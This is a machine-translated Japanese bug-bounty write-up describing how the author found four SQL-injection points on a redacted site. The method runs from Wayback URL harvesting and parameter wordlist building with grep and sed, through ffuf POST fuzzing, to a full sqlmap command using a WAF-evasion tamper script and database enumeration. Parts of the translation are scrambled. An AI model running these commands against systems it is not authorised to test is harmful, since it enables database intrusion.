ソース:
訳:
waybackurls ツールを使用してターゲットの Web アーカイブを調べ始めたところ、多数のエンドポイントが見つかりましたが、大量の PHP ファイルが見つかりました。
出力をフィルタリングしましょう。
私のコマンドは次のようになります:
waybackurls https://redacted.org/ | uro | grep “.php” > php-files.txt
たくさんの PHP ファイルがありますので、いくつか見てみましょう。
PHP ファイル名は面白そうです。
パラメータを見つけるのに役立つと思います。
名前を grep するために bash をしましょう、 エンドポイントでブルートフォースするパラメータのリストを作成した後に 。
stringを含む行のみを grep し、その前をすべて削除して重複を避けるために一意にする必要がある まず、 get になります ため、コマンドは次のよう 。
$ cat php-files.txt| grep -i get | sed ‘s/.*.get//’ | sort -u
リストを作成するには .php 文字列を削除する必要があるため、最後のコマンドに「cut -f1 -d」という行を追加しました。
OK、ほぼ完成です。私が持っていたすべての文字列に 2 つの単語が含まれていることに気付きましたが、どちらがパラメーターであるかわかりません。それでは、それを分割しましょう。 出会うまでこの操作についていくつか検索しました 正直に言うと、私はそれを行う方法がわからなかったので、これに 、そして私が望むものを見つけました!! になります。
追加のコマンドは、
sed ‘s/[A-Z]\+/\n&/g’
しかし、ほとんどのパラメーターは大文字ではなく小文字だと思うので、これを大文字のパラメーターとして保持し、小文字に変換して、両方をテストします ;)
これでパラメータのリストが 2 つできました。
FFUF でテストしてみます。
まず、エンドポイントを grep して、それを使用してすべてのパラメータをテストします。
最初に次のコマンドで小文字のパラメータを試します。
ffuf -w lowercase-parameters.txt -u " https://redacted.org/searchProgressCommitment.php ?FUZZ=5"
でも悲しいことに何も得られなく。
リクエストメソッドをPOSTに変更してみたらどうでしょうか!
すぐにVPSにアクセスしてその方法を変更し。
ffuf -w lowercase-parameters.txt -X POST -d "FUZZ=5" -u "https://redacted.org/searchProgressCommitment.php"
コミットメントとIDパラメータを取得でき。
次に、エンドポイントに移動し、burp でリクエストをインターセプトし、リクエスト メソッドを変更し、パラメータを追加して、それを txt ファイルにコピーして sqlmap を実行します。
コマンドは次のようになります。
sqlmap -r req3.txt -p commitment --force-ssl --level 5 --risk 3 --dbms=”MYSQL” --hostname --current-user --current-db --dbs --tamper=between --no-cast
--level 5 --> Level of tests to perform.
--risk 3 --> Risk of tests to perform
--dbms --> back-end DBMS value
--no-cast --> to avoid use cast-alike statements during data fetching
--tamper --> to evade filters and WAF’s
"--hostname --current-user --current-db --dbs" --> to retrieve info about the database
次に、他のエンドポイントでこの方法を試してみましょう ;)
いくつかのエンドポイントを選択し、同じ FFUF コマンドを、もちろん POST メソッドで使用しました。
2 番目の SQLI : ws_delComment.php ( id パラメーター付き)
3 番目の SQLI: getTargets.php と ゴール パラメータ
4 番目: list パラメーターを含む mailing_lists.php
ほなほな。